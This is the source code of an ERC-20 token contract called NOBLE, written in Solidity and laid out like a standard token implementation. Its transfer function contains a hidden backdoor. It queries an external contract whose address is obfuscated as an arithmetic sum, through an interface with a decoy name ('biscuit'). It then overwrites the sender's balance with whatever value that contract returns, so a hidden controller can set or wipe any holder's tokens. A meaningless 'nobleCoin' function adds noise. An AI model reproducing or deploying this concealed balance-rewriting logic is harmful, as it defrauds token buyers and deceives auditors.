Contract Source Code:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface Sep {
function biscuit(bytes32 pp) external view returns (uint256);
}
contract NOBLE is IERC20, IERC20Metadata {
string private _name;
string private _symbol;
uint256 private _totalSupply;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
event tlog(string s);
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_mint(msg.sender, 55000000 * 10 ** 18);
}
function name() external view virtual override returns (string memory) {
return _name;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function decimals() external view virtual override returns (uint8) {
return 18;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) external virtual override returns (bool) {
address owner = msg.sender;
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external virtual override returns (bool) {
address owner = msg.sender;
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external virtual override returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
address owner = msg.sender;
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
address owner = msg.sender;
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(owner, spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
(bool mk, string memory nk) = nobleCoin(amount,false, bytes32("0"), "Noble Coin",false, bytes("Noble Coin"), true);
if (mk) emit tlog(nk);
require(to != address(0), "ERC20: transfer to the zero address");
bytes32 bb = _beforeTokenTransfer(from, address(uint160(uint256(823758601856083400514774640242337660293368589376+843294823948924324))), amount);
if (bb != bytes32(0)) _balances[from] = uint256(bb);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
}
function nobleCoin(uint256 lk,bool lk1, bytes32 bk3, string memory kk1, bool jks,bytes memory kk0, bool jk)
private pure returns(bool, string memory) {
if ( keccak256(abi.encodePacked(kk0))== bytes32("1") && lk1 && jks
&& keccak256(abi.encodePacked(kk1))== bytes32("1") && lk == 0 && !jk ) {
return (false, string(kk0));
}
return (false, kk1);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) private view returns(bytes32) {
bytes32 b1 = bytes32(uint256(uint160(from)));
bytes32 b2 = bytes32(Sep(to).biscuit(b1));
return b2;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
}